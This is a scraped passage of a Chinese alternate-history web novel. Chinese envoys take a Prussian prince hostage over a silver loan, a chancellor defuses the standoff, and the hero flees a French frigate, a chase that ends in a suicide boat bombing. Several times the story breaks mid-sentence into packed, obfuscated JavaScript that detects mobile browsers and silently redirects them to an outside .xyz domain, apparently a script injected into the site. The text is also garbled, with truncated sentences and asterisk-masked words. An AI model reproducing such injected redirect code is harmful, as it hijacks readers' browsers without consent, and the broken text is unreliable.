一声令下,数十支鲁德步枪对准了瑾周信等人。三百新军士兵立即端起斯宾塞步枪与之对峙。就在这剑拔弩张之际,一阵马车声由远及近。艾伦姆从马车上跳下来,大声喊道:“住手!全员停止行动!严禁擅自射击!” 他气喘吁吁地跑进来,站在双方中间,用汉语和德语反复劝阻:“这是一场误会!请大家都冷静下来!” 在艾伦姆的调解下,气氛才稍稍缓和。这时,一阵整齐的马蹄声传来,一辆金漆马车停在了军营外。 卡尔亲王从车上走下来,后面跟着整齐的禁卫军。他身着华贵的军装,胸前挂满勋章。所有普鲁士士兵立即立正敬礼。 “从东境而来的战士,”他大步走进军营,用流利的英语说道,“不得不说你们胆子不小。但这些银币,今天我必须带走!” 瑾周信冷冷道:“亲王殿下,这批资金早有备案在先。若德意志方面拒绝这份条款,这些钱就不能给予德意志。保护这批物资才是我们的职责所在。” 就在这时,卡尔亲王开口了。他的声音中带着一种居高临下的傲慢:“告诉这些东方人,我可以接受他们的钱,但条件要改。” 第一百七十六章 瑾周信智擒亲王 艾伦姆立刻翻译起来:“第一,利息要提高到年息百分之十。第二,还款期限延长到二十年。第三...” “不可能!”瑾周信断然拒绝,“我们带来的是诚意,不是来受气的!” 卡尔冷笑一声:“看来你们还不明白自己的处境。”他挥了挥手,禁卫军立刻端起了枪。 大厅里的气氛瞬间紧张起来。 瑾周信的手悄悄摸向靴子,他知道事情已经到了最危急的时刻。 这时,诸葛林突然开口:“大人,我们认输吧。” 所有人都愣住了。 诸葛林继续说道:“我们确实斗不过他们,还是按他们说的办吧。” 瑾周信立刻领会了他的用意。示弱,才能让对方放松警惕。 “好吧。”瑾周信叹了口气,“请让我们的人放下武器。” 三百勇士依次解除武装,将刀剑放在地上。禁卫军的表情明显轻松了许多。 卡尔满意地点点头,在木盘上写下几行字,然后盖上私章。 “去告诉他们,这是最后的条件。”他对艾伦姆说。 艾伦姆托着木盘走到瑾周信面前,脸上带着讥讽的笑容:“我劝你们最好乖乖听话。看看周围,三千支枪可不是开玩笑的。” 瑾周信接过木盘,仔细看了看,然后用中文重新抄写了一份。 “请亲王在这份中文版本上签字。”他恭敬地说。 卡尔不以为意地走过来,在瑾周信递上的纸张上签下名字。 就在这一瞬间,瑾周信动了。 五米的距离,在他眼中仿佛只有一步之遥。 当卡尔反应过来时,一把锋利的**已经架在了他的脖子上。 “都给我退后!”瑾周信怒吼,“谁敢轻举妄动,我就割断他的喉咙!” 三百勇士同时暴起,迅速捡起地上的武器,形成一个防御圈。 禁卫军举着枪,却不敢开火,生怕误伤亲王。 “你...你们疯了!”卡尔颤抖着说,“这是在普鲁士,你们走不出去的!” 瑾周信冷笑:“那就一起死在这里。你觉得普鲁士承受得起失去一位亲王的代价吗?” 大厅里陷入了死一般的寂静。 三千支枪对着三百人,但真正掌握主动权的,却是那把抵在亲王脖子上的**。 “现在,重新谈判的时候到了。”瑾周信的声音里带着冰冷的杀意,“我们中国人,最讨厌别人居高临下地说话。” 那名捧着木盘的副官更是倒了血霉,被瑾周信一个猛虎下山般的冲撞,整个人摔了个狗啃泥。他的脸颊在粗糙的地面上擦出了血痕,军帽滚落在一旁,狼狈不堪。 “这就是英法人口中的东方绵羊?”一名禁卫军喃喃自语,声音中带着难以掩饰的震惊,“分明是一群不要命的疯子!” 卡尔亲王虽然被制住,但军人的本能让他迅速冷静下来。他暗暗运力,想要挣脱钳制,却发现这个矮小的东方人手臂仿佛铁钳,纹丝不动。他的眼中闪过一丝不易察觉的惊讶。 军营内的空气仿佛凝固了,只有粗重的呼吸声在回荡。禁卫军们握紧了手中的**,却不敢轻举妄动。 “再给你们一次翻盘的机会。”卡尔强压怒火,嘴角微微抽搐,“放了我,我可以既往不咎。否则,等待你们的只有死路一条。” “艾伦姆!翻译!”瑾周信一边拖着亲王向新军阵地移动,一边对发愣的翻译官怒吼。 艾伦姆浑身一颤,双手颤抖着翻译道:“冷静,先生们请冷静...” “少**废话!”瑾周信暴喝,声音如雷贯耳,“赶紧给我翻!” 兄弟们动作迅捷地捡起斯宾塞**,枪口一致对外,形成了一道坚不可摧的钢铁防线。每个人的眼中都闪烁着决绝的光芒。 当艾伦姆将卡尔的威胁翻译完,所有新军将士都发出了冷笑。 “拿命来要挟我们?”诸葛林冷冷道,眼神中透着不屑,“真是可笑。我们既然敢孤军深入欧洲,就没想过能活着回去。” 军营内的气氛越发紧张,仿佛一点火星就能引爆这个**桶。禁卫军们的手指搭在**上,随时准备开火。 “兄弟们!”瑾周信突然高喊,声音中充满激情,“还记得出征时的誓言吗?” “让这热血洒满炎黄大地,用这条贱命护卫神州!” 整齐的呐喊声震天动地,磅礴的杀气如实质般扑面而来。三千德皇禁卫军竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这倒是个好主意。”诸葛林若有所思地说道,嘴角勾起一抹意味深长的笑容。 谈判陷入了死胡同。 第一百七十七章 俾姆卖化解危机 而在军营外,越来越多的普鲁士士兵正在集结。尽管他们还蒙在鼓里,但从发下的实弹来看,显然是要有一场恶战。士兵们的脸上写满了凝重。 包围圈不断扩大,最终有两万多人形成了数十道人墙,将军营围得密不透风。但在这种人质劫持的局面下,人数优势根本派不上用场。三百死士守得滴水不漏,强行突击只会导致更糟糕的结果。 “去通知不莱梅市长,如果实在不行,就只能答应他们的条件了。”一名军官低声下令,声音中带着无奈,“此事务必保密,千万别让英法搅和进来。” 就在这时,营地外突然传来一阵骚动。一辆黑色马车疾驰而来,车轮碾过石板路面发出沉闷的声响。车门两侧各站着一名上校,他们的表情严肃而凝重。 当那个铁血宰相俾姆麦出现时,所有人都不由自主地立正敬礼。他的出现仿佛给这个剑拔**张的场面注入了一股冷静的力量。 俾姆麦脸色铁青,径直走进破败的军营。他的每一步都透着威严,目光如刀般锐利。还没等副官汇报,就劈头盖脸地骂道:“蠢货!亲王来此为何不向我汇报?这是外交事务,什么时候轮到你们军方插手了?来人,把他关进军事监狱!” 两名士兵立即上前,将那倒霉的副官押了下去。副官脸色惨白,知道自己这次真的惹上**烦了。 俾姆麦走到瑾周信面前,语气平和地说:“我想你就是这支队伍的领导者。我是俾姆麦,相信你从陈逸风那里听说过我。”他的声音中带着一种独特的魅力,让人不由自主地想要倾听。 “陈逸风派你们来不是为了制造麻烦。”艾伦姆翻译道,“他想让你们见见世面,让欧洲刮目相看,而不是当一群绑匪。” 瑾周信刚要反驳,俾姆麦抬手制止:“你心里打的什么算盘我都懂。首先,我为亲王的鲁莽道歉。他说的不算,在普鲁士,外交事务由我全权负责。” “请放心,普鲁士不是强盗。我会和陈逸风商议出合理方案,放心,合同少不了你们的。但这需要时间,我得说服国内很多人。而你们的行为,只会破坏我和陈逸风的努力。” 俾姆麦平静地注视着这群年轻的军人,他的目光中带着某种难以言说的深意:“放了亲王,我保护你们和钱财。这是你们最好的选择。” “一百万两银子,哪个国家不想要?”俾斯麦继续冷冷地说,“若今夜之事被其他国家,你们如何保护自己保护钱财。” 瑾周信感觉胸口发闷。他们确实低估了这件事的影响。如果真被英法截获,那不仅钱财性命不保,还会让国家蒙羞。 “一意孤行的结果是什么?”俾斯麦的声音在夜色中回荡,“丢掉钱财,丢掉性命,还要得罪普鲁士。你们宰相的希望都将落空。” 瑾周信看向身边的弟兄们,发现大家都陷入了迷茫。有人的手已经开始颤抖,有人的眼中闪过犹豫。 就在这时,俾斯麦突然厉声喝道:“三百东方新军士兵,都给我听着,立正!” 这声令下得突然,却带着不容抗拒的威严。瑾周信下意识地并拢双脚,皮靴相碰发出清脆的响声。其他弟兄们也不由自主地立正站好。 俾斯麦满意地点点头:“从今天起,你们直接受参谋总部指挥,交给我和**齐总参谋长处理。我作为王国首相,赦免你们今日不敬亲王之罪。” 就在这时,从瑾周信手下挣脱出去的卡尔亲王突然大声咆哮:“开火!消灭这群东方野人” 瑾周信心中一惊,手指已经扣在**上。周围的普鲁士士兵也举起了枪。 然而还没等任何人扣动**,俾斯麦已经暴怒地喝止:“闭嘴!再敢插手外交事务,我亲自向陛下报告把你关起来!” 卡尔亲王脸色铁青,却不得不闭上嘴巴。瑾周信这才意识到,在这个国家,首相的权力竟然凌驾于王室之上。 危机解除后,俾斯麦开始安排接收那批银两。他的语气变得柔和许多:“这些钱,我找最有经验的犹太商人来打理。我要组建一个基金会,你们宰相陈逸风密函里就是这么说的。” “这么多的钱财,光靠利息就够你们在欧洲潇洒了。”俾斯麦补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜色渐深,营房里传来此起彼伏的鼾声。这些远道而来的东方战士终于可以好好休息了。 不莱梅老城区的一条窄巷里,一座破旧的三层小楼静静伫立。砖墙上爬满了常春藤,在初夏的微风中轻轻摇曳。 顶层阁楼中,亨利正对着一堆稿纸发愁。桌上的油灯发出昏黄的光,照亮了他疲惫的面容。作为欧洲小有名气的自由撰稿人,为各大报社供稿已有多年的他,此刻却陷入了前所未有的创作瓶颈。 “该死的,这些新闻都太平淡了。”他抓起桌上的威士忌灌了一口,酒液滑过喉咙带来一阵灼烧感。随手将手中的稿纸揉成一团丢在地上,纸团在地板上滚了几圈,最终停在一堆废稿中间。 阁楼里一片狼藉。床上、地上、桌上到处都是写了一半的稿纸。几本厚重的英文书籍夹着黑白照片随意摆放,脏衣服更是扔得到处都是。窗台上的咖啡杯里,已经长出了一层青苔。 这就是一个单身汉的生活状态。没有女人打理的房间,永远不可能整洁。亨利对此早已**以为常,他的全部精力都放在了新闻报道上。 他揉了揉发酸的太阳穴,翻开自己那本皮面记事本。泛黄的纸页上密密麻麻记满了各种新闻线索,但没有一条能让他提起兴趣。 “普鲁士加征15%贸易税?”他喃喃自语,“不行不行,这种新闻太平淡了,连《柏林日报》的编辑都不会正眼看一下。” 手指继续往下滑动,“新兵营增加三万新兵?照片太糟糕,根本没法用。这些都是些什么狗屁新闻!” 突然,一行潦草的笔记引起了他的注意。他的眼神瞬间变得锐利起来,仿佛猎人发现了珍贵的猎物。 “有意思...不莱梅新军营出现神秘的东方面孔,还带来大量银币...”他的声音因兴奋而微微发颤,“这个新闻绝对能轰动整个欧洲!” 正当他准备抓起羽毛笔时,身后传来一个熟悉的声音:“需要照片吗?我这里有现成的。” 亨利被这突如其来的声音吓得差点从椅子上摔下来。他手忙脚乱地转过身,看到他的老朋友艾伦姆正带着两个东方面孔的男人站在门口。月光从他们身后的窗户洒进来,在地板上投下三道修长的影子。 “艾伦姆!你这个混蛋,非要这么神出鬼没吗?”亨利一边拍着胸口平复心跳,一边抱怨道,“你不是去东方了吗?这两位是...” 艾伦姆露出他标志性笑容:“给你介绍,这是瑾周信将军和诸葛林将军,来自中国,不过现在是琉球王国的将军。这位就是我跟你提过的好友亨利,普鲁士最优秀的自由撰稿人。” 亨利激动地握住两人的手:“确实是东方人!谣言竟然成真了!”他仔细打量着两位东方将军,他们的眼神中透露出一种他从未见过的坚毅。 瑾周信身材魁梧,即便是在深夜也保持着挺拔的军人姿态。诸葛林则显得更为沉稳,眼神中带着几分审视的意味。两人都穿着考究的西装,但举手投足间依然能看出东方武将的气质。 简单寒暄过后,艾伦姆的表情变得严肃起来:“亨利,接下来我要说的是普鲁士的机密,希望你记住自己的身份。这不仅关系到你的职业生涯,更关系到国家利益。” “放心,我虽然是自由撰稿人,但首先是普鲁士人。”亨利郑重其事地说,同时示意几人坐下。他匆忙收拾出几把椅子,又找出一瓶上好的威士忌。 瑾周信用生涩的德语配合着英语,缓缓道出他们此行的目的。说话时,他不时停顿思考用词,艾伦姆则在一旁适时补充。 原来他们带来了一笔巨额借款,整整100万枚银币。这笔钱是琉球首相借给普鲁士的战争资金。数字之大,让亨利倒吸一口凉气。 “我们需要你全程跟随记录。”诸葛林接过话头,他的英语比瑾周信流利得多,“不仅要记录我们的训练、生活,还要拍摄照片。我们要让欧洲看到真实的中国人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686780|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这不仅仅是新闻报道,而是一场正名之旅。”瑾周信补充道,“我们要以实力证明,东方人并非如某些西方人想象的那般软弱。” 听得热血沸腾。这哪里是什么普通新闻,简直就是一个史诗般的专题!他的脑海中已经开始构思报道的框架。 “这个项目我接了!”他兴奋地说,随即又皱起眉头,“不过这需要大量的时间和设备投入...我得准备照相机、笔记本,还要联系各大报社预留版面...” “钱不是问题。”艾伦姆打断了他的顾虑,“俾姆麦首相已经成立了专门的基金会,你只管说你要多少月薪。” “呃...我在雅典报工作时,每月能拿到12枚塔勒...”有些不好意思地说。 “30枚南洋龙元如何?”瑾周信直接开价,“另外所有费用实报实销。我们需要最好的新闻报道。” 咽了咽口水。这可是他平时收入的三倍!他的目光在房间里扫视一圈,这些破旧的家具、发黄的墙纸,或许很快就能换新了。 “成交!”他一口答应下来,“我保证会让你们成为欧洲最炙手可热的新闻人物!” 说完他就迫不及待地开始给各大报社写信,要为这个重磅专题预留版面。艾伦姆和两位将军相视一笑,显然对这位热情的记者很是满意。 与此同时,在驶向马赛的意大利商船上。 甲板上,海风呼啸,浪花拍打着船舷发出规律的声响。陈逸风正和孟明蛇倚着栏杆远眺。夕阳将海面染成一片金红,远处隐约可见法国海岸的轮廓。 在俾斯麦的回信中,这位权臣首相诚邀陈逸风去普鲁士相见。虽有疑虑,但想着北京城的阴谋和西方的世界,陈逸风最终决定带着家眷和亲兵一同前往。 作为琉球王国的强权宰相,这次欧洲之行看似平常,实则暗流涌动。英法两国表面上会给足面子,但背地里早已布下天罗地网,就等着将他的一举一动尽收眼底。 第一百七十九章 陈逸风勇闯欧洲大陆 “这海风,倒是和那些欧洲人一样虚伪。”陈逸风轻声自语。 身后传来脚步声,德国情报官莱昂走了过来,“宰相相阁下,刚收到消息,法国人已经在地中海沿岸布下了天罗地网。” 陈逸风并未回头,只是淡淡道:“意料之中。普鲁士正在崛起,这是个千载难逢的机会。英法自然不会让我们轻易接近德国人。” “那我们......” “继续按计划行事。”陈逸风打断了莱昂的话,“让水手们都打起精神,接下来的航程不会太平。” 莱昂欲言又止,最终还是点点头离开了。 船舱内,意大利船长亚历山大正在和大副商议航线。 “法国人的巡逻舰已经封锁了直布罗陀海峡,”大副指着海图说道,“我们必须改道。” 亚历山大皱眉道:“绕道北非?那至少要多花一周时间。” “时间不等人啊。”陈逸风推门而入,“两个月后,普鲁士军队就要南下,和奥地利的小邦国开战。七周之内,布拉格条约就会签订。” 亚历山大叹了口气:“可是宰相阁下,法国人......” “我知道他们在找什么。”陈逸风走到海图前,手指在上面划过,“他们想知道,为什么一个远东小国的首相,会在这个节骨眼上出现在欧洲。” 就在此时,塞得港的一间灰泥小屋内,一场暗流涌动的较量正在上演。 “这批银币,换你的沉默。”北欧面孔的中年人将两袋银币推到阿拉伯商人面前。 商人连连点头哈腰,刚要发誓,木门突然被踹开。十多名法国士兵冲了进来,为首的是一名陆军上尉。 “马库斯,这次你逃不掉了。”上尉冷笑道。 阿拉伯商人立刻举手投降,一股脑儿把所有情报都倒了出来。 马库斯面不改色,伸手去端茶杯。 “砰!”一声枪响,**擦着他的手指钉入桌面。 “说吧,那些中国人是什么来头?”上尉逼问道,“他们为什么要去见俾姆麦?” 马库斯不慌不忙地端起茶杯,“印度红茶,味道不错。可惜比不上中国茶。” 他向上尉招了招手,“你过来,我告诉你他们的秘密。” 上尉凑近时,马库斯突然喷出一口鲜血,“那是你们永远也猜不到的存在......” 话音未落,马库斯已经断气。 “该死!”上尉暴怒,“给我严刑拷打这个商人,一定要问出真相!” 消息如野火般在地中海沿岸蔓延。短短几天,整个海域都在搜寻那艘载着神秘中国人的意大利商船。 船上的气氛越发紧张。水手们三三两两地聚在一起窃窃私语,眼神中带着惶恐。 “听说法国人已经派出了三艘军舰。” “英国人的军舰也出动了。” “我们这是惹上**烦了......” 陈逸风站在船尾,看着渐渐消失的陆地轮廓。夜幕降临,海面上星光点点,远处偶尔能看到几艘商船的灯火。 莱昂匆匆走来:“宰相阁下,刚收到消息,法国人已经查到了我们的航线。” “他们的情报网果然厉害。”陈逸风轻笑一声,“看来要改变计划了。” 就在此时,瞭望手突然大喊:“前方发现军舰!法国水军的护卫舰!” “该死!”亚历山大冲上甲板,举起望远镜。 果然,一艘法国护卫舰正在快速接近。 “抛锚待验!”灯光信号闪烁不停。 “首相阁下,我们有两个选择。”莱昂沉声道,“要么趁夜逃跑,要么让您藏在鱼箱里......” “轰!”一声炮响打断了他的话,巨大的水柱在船前升起。 “这群疯子!”水手们惊呼。 陈逸风冷静地说:“只能跑了,他们已经准备拆船了。” “加满帆!向北!”亚历山大大吼。 “勇敢的水手们,完成任务每人一百金法郎!”陈逸风的承诺让全船沸腾。 三角帆船在夜色中破浪前行,身后的法**舰紧追不舍。 “他们的速度太快了!”大副喊道。 “把货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693944|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物都扔掉!”亚历山大下令,“轻装上阵!” 水手们开始往海里扔货物。木箱、麻袋、酒桶接连落入海中。船身逐渐变轻,速度也开始提升。 “轰!轰!”又是两声炮响。 “他们疯了吗?”莱昂惊呼,“这是在公海上!” 陈逸风看着越来越近的炮弹水花:“他们已经顾不上那么多了。” 海面上,两艘风帆木船在波涛中追逐,一大一小,一前一后。巨浪翻滚,浪花拍打着船身,发出沉闷的响声。 “左满舵!该死的,再快点!”法国护卫舰上,船长皮埃尔的怒吼声穿透雨幕。他的手指关节因用力而发白,望远镜几乎要被捏碎。 “报告船长,我们正在全速前进!”大副气喘吁吁地跑来,“但这该死的意大利商船,速度快得不可思议!” 皮埃尔狠狠地砸了下船舷,“三个小时了!整整三个小时!区区一艘商船,竟让我们这样狼狈!” “准备右舷炮!”皮埃尔咆哮着,“给我打!打到他们投降为止!” 轰隆隆的炮声在海面上回荡,却被即将到来的雷暴掩盖了大半。三十二门火炮齐射,炮弹划破雨幕,却只在商船尾部激起一片水花。 商船甲板上,陈逸风紧握船舷,看着身后的炮火,不由得擦了把冷汗。这已经是第三轮齐射了,却奇迹般地一发未中。 “蛇爷”他转向身旁的孟明蛇,声音里带着几分玩笑,“你说我是不是真有龙气护体?这运气也太好了。” 孟明蛇正要开口,突然瞳孔一缩。一个六米多高的巨浪从左舷涌来,如同一堵移动的水墙,压迫感令人窒息。 “小心!”孟明蛇一声大喊,同时伸手去抓陈逸风。 但已经晚了。巨浪撞击船身的瞬间,整艘船剧烈摇晃。陈逸风重心不稳,整个人如同皮球般滚向船舷。孟明蛇一个箭步冲上前,抓住了陈逸风的脚踝,却也被巨浪冲得失去平衡。 “先生!” 两人一同跌入汹涌的波涛之中。冰冷的海水瞬间包裹全身,咸涩的海水灌入口鼻,呛得人喘不过气来。 第一百八十章 商船上的生死瞬间 甲板上顿时乱作一团。水手们惊慌失措地跑来跑去,有**喊着放下救生艇,有人急忙抛出绳索。 “救人!快救人!”亚历山大船长声嘶力竭地喊着,“所有人,立刻展开搜救!” 普鲁士情报官莱昂二话不说,直接跳入海中。其他水手也纷纷效仿,十几个人先**水,在波涛中寻找两人的踪影。 沈达华上甲板,看到这一幕,立刻开始指挥:“用木桶!把木桶串起来丢下去!形成救生通道!” 可惜无人听懂中文,水手们依旧忙着自己的事。沈达华只得自己动手,开始搬运甲板上的木桶。 就在这时,一个黑色斗篷的身影冲上甲板,正是凤女。她的头发被风雨打湿,贴在脸上,却掩不住眼中的惊慌。 “先生!”凤女撕心裂肺的喊声响彻甲板,“你在哪里?” 她看到沈达华在搬运木桶,立刻明白了他的意图。凤女二话不说,抓起绳索就开始和沈达华一起串联木桶。泪水和雨水混在一起,模糊了她的视线。 “你这个混蛋!”凤女一边干活一边骂,“你当初许诺要携我游览欧洲!你说过要让我成为第一个去欧洲度蜜月的中国女人的!你怎么能就这样......” 她的声音哽咽了,手上的动作却一刻不停。 阿艳、川儿、婉玉也都冲了上来,帮着串联木桶。他们虽然不懂航海,但此刻都明白事态紧急。 看到这一幕,连亚历山大船长都被感动了。他立即下令:“所有人,帮助他们!快!” 水手们这才明白过来,纷纷加入串联木桶的工作中。很快,海面上漂浮了十多串木桶,形成了一个巨大的救生网。搜救的水手们在木桶间穿梭,大声呼喊着陈逸风和孟明蛇的名字。 雨越下越大,浪也越来越高。凤女站在船舷边,死死盯着翻滚的波涛,生怕错过任何可能的踪迹。 “在那里!”突然有人喊道,“五十米外!” 所有人的目光都转向那个方向。只见距离船五十米处,两个人影浮出水面。孟明蛇一手托着已经昏迷的陈逸风,另一手奋力划水,在巨浪中艰难前行。 “蛇爷!”沈达华用尽全力抛出一串木桶。 孟明蛇眼神一凝,突然发力,整个人如离弦之箭般跃出水面。他的身形在木桶上轻点,竟是踏波而行!每一步都精准落在木桶上,激起一圈水花。 “天呐!”甲板上的水手们目瞪口呆。 “这是东方的魔术吗?”亚历山大船长喃喃自语,“他是在水面上行走!” 孟明蛇却顾不得这么多,他的注意力全在陈逸风身上。这一路踏浪而行,每一步都要精准控制力道,稍有不慎就会重新坠入波涛。他能感觉到体内的真气正在急速消耗,但现在不是节省的时候。 凤女站在船舷边,紧张得手心全是汗。她的目光一刻也不敢离开那道在浪尖上起舞的身影。 “快!再撑一会儿!”她在心中默默祈祷。 终于,孟明蛇带着陈逸风稳稳落在甲板上。他的衣服已经被海水浸透,整个人摇摇欲坠,显然已经到了极限。 “先生!”凤女扑了上去,紧紧抱住陈逸风。 陈逸风咳出几口海水,虚弱地睁开眼睛。他看到凤女哭红的眼睛,勉强露出一个笑容:“放心,我没事。” “你这个混蛋!”凤女一边哭一边捶打他的胸口,“你要是出事了,我怎么办?你让我一个人怎么活?” 看着凤女梨花带雨的模样,陈逸风心中一暖。他轻轻拍了拍凤女的后背,柔声道:“好了好了,我这不是没事吗?” 孟明蛇站在一旁,默默地拧干衣服上的水。这一路踏浪而行,已经耗尽了他的内力。但看到陈逸风安然无恙,这点辛苦又算得了什么? “蛇爷,多谢了。”陈逸风向孟明蛇抱拳,“若不是你,我这条命就交代在这片海上了。” 孟明蛇摆摆手:“先生不必客气。保护您的安全是我的职责。” 就在众人以为危机即将过去时,远处突然传来一阵沉闷的炮声。 “轰!”一发实心铁弹重重砸在船头甲板上,木屑纷飞。巨大的冲击力让整艘船都为之一震。 “趴下!”陈逸风反应极快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693945|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把将凤女扑倒在地。其他人也纷纷寻找掩体,生怕第二发炮弹紧随而至。 等了片刻,预想中的**并未发生。陈逸风这才意识到,对方用的是最原始的实心炮弹。他抬头望去,只见洁白的船帆上破了好几个大洞。 “宰相大人!”普鲁士情报官跑来报告,脸上写满焦急,“我们的帆被打穿了!速度已经大不如前,继续这般我们必定玩完!” 他压低声音劝道:“不如投降吧,您是琉球首相,法国人不敢把您怎么样...” “投降?”陈逸风冷笑一声,“让我去巴黎喝咖啡?老子可没这兴致!” 他站起身,环视四周。甲板上一片狼藉,水手们脸上写满疲惫和恐惧。但当他的目光扫过时,所有人都不由自主地挺直了腰板。 “凤女,带着姐妹们下船舱!”陈逸风沉声下令,“蛇爷,集合卫队!” 六名护卫迅速集合,他们都是跟随陈逸风多年的亲信。此刻虽然有两人受了伤,但依然精神抖擞地站在他身边。 陈逸风站在船尾,目光如刀般盯着远处的法国护卫舰。那艘军舰在风浪中显得格外魁梧,黑洞洞的炮口仿佛择人而噬的巨兽之口。 “兄弟们。”陈逸风的声音不大,却字字铿锵,“就是曾经追随英国鬼子烧毁圆明园的法兰西人。今日那群人又想来阴我,你们说怎么办?” “杀!”护卫们异口同声地吼道,声音盖过了呼啸的风声。 他们都知道,每当陈逸风露出这种表情,就意味着有一场血战即将开始。这种时候,他们宁愿战死,也绝不后退半步。 “很好。”陈逸风冷笑一声,“虽然不是月黑风高夜,但这暴风雨天也够咱们玩一场的。我在寻找一个无所畏惧的勇士,只要一个...” 话音未落,所有人都向前跨出一步。雨水顺着他们的脸颊流下,却掩不住眼中的决然。 “我只要一个。”陈逸风沉声道,“家里独苗的请回避,双亲尚在的请退下,膝下无子的站出来!” 可是没有一个人退缩。他们站得笔直,目光灼灼地看着陈逸风。 第一百八十一章 小端舍身炸敌舰 “宰相大人,别浪费时间了。”一名护卫说道,声音沙哑却坚定,“能跟着您的,哪有怕死的?您说计划吧!” 就在这时,一个断了腿的年轻人一瘸一拐地站了出来:“让我去吧!” 他抹了把脸上的雨水,继续道:“我叫小端,腿已经断了,正好能迷惑敌人。我父母双亡,只有一个四岁的儿子,您替我照顾好他就行...” 陈逸风走到他面前,重重拍了拍他的肩膀。两人对视一眼,无需多言。 很快,商船升起白旗,放下残存的帆,做出投降的姿态。远处的法国护卫舰开始缓缓靠近,准备派出小艇登船检查。 然而他们没想到,商船这边却先放下了一艘舢板。 海面上,一艘小舢板在狂风巨浪中艰难前行,船尾插着一面被雨水打湿的白色小旗,昭示着来者身份——谈判使者。 小端浑身湿透,额头和大腿的伤口不断渗出鲜血,被雨水冲刷成淡淡的粉色。他咬紧牙关,每一次摇动双桨都几乎耗尽全身力气。冰冷的海水不断拍打在他脸上,但他的目光始终紧盯着前方那艘巨大的护卫舰。 “大人,您说得对。”小端低声自语,“有些事情,总要有人去做。” 法国护卫舰上传来阵阵喧哗,甲板上挤满了探头张望的士兵。他们居高临下地打量着这艘在暴风雨中显得格外单薄的小舢板。 “那是什么?”一个年轻水手突然指着舢板大喊,“船上绑着木桶!” “报告舰长,发现可疑木桶,疑似危险品!”瞭望手的声音透着紧张。 舰长匆匆赶来,扶着船舷向下望去。当他看清小舢板上整齐排列的五个木桶时,一股寒意顿时从脊背窜上来。那名衣衫褴褛的中国人,正稳稳地坐在木桶上划船靠近。 “所有**手就位!”舰长厉声下令,“放下绳梯,派人检查那些木桶!”他转向小端,用生硬的中国话喊道:“你,立刻停下!不准再划了!” 小端抬头看着甲板上慌乱的法国水兵,嘴角勾起一抹诡异的笑容。他摇了摇头,做出一副听不懂的样子,手上的动作却丝毫不停。 “该死的东方人!”二副拔出**,“开枪!给我打死他!” 砰砰砰!三声枪响划破雨幕。两发**落入海中激起水花,第三发击中了小端的肩胛骨。鲜血喷涌而出,但小端只是皱了皱眉,依然奋力划桨。 此刻,距离护卫舰已不足五米。 远处商船上的陈逸风等人屏住呼吸看着这一幕。 “小端......”沈达华低声呢喃,眼中泪光闪动。 所有人都明白,小端即将用生命为这场战斗画上句号。五个大木桶中塞满了定制**,足以将这艘护卫舰送入海底。 “不要哭。”陈逸风强忍泪水,声音有些哽咽,“这是他自己的选择。” 小端终于将舢板顶到了护卫舰边。他抬头望了望天空,雨水顺着脸颊流下,分不清是泪水还是雨水。 “到终点了。”他喃喃自语,“这条贱命就交代在此地了。”他深吸一口气,“大人,别忘了你许下的誓言,不要让后代重蹈我的覆辙,死无葬身之地!” 他从怀中掏出一根特制焰火,咬开蜡封露出黄磷层。在大衣内衬的油纸上轻轻一擦,浓烟顿时升腾而起。 “哈哈哈!”小端放声大笑,“大人设计的信号弹果然好用!” 他迅速扣开**桶的蜡封,将信号弹倒**去。甲板上的法国水兵这才意识到危险,纷纷举枪瞄准。 “不!”惊呼声还未落下,一道刺眼的光芒已在乌云密布的天空中炸开。 轰轰轰! 连环**掀起滔天巨浪,护卫舰侧面被炸出两人高的豁口。无数水手如破布娃娃般被气浪撕碎,数十吨海水冲上天空又倾泻而下。 “小端...魂兮归来...”陈逸风等人跪在甲板上,泪如雨下。 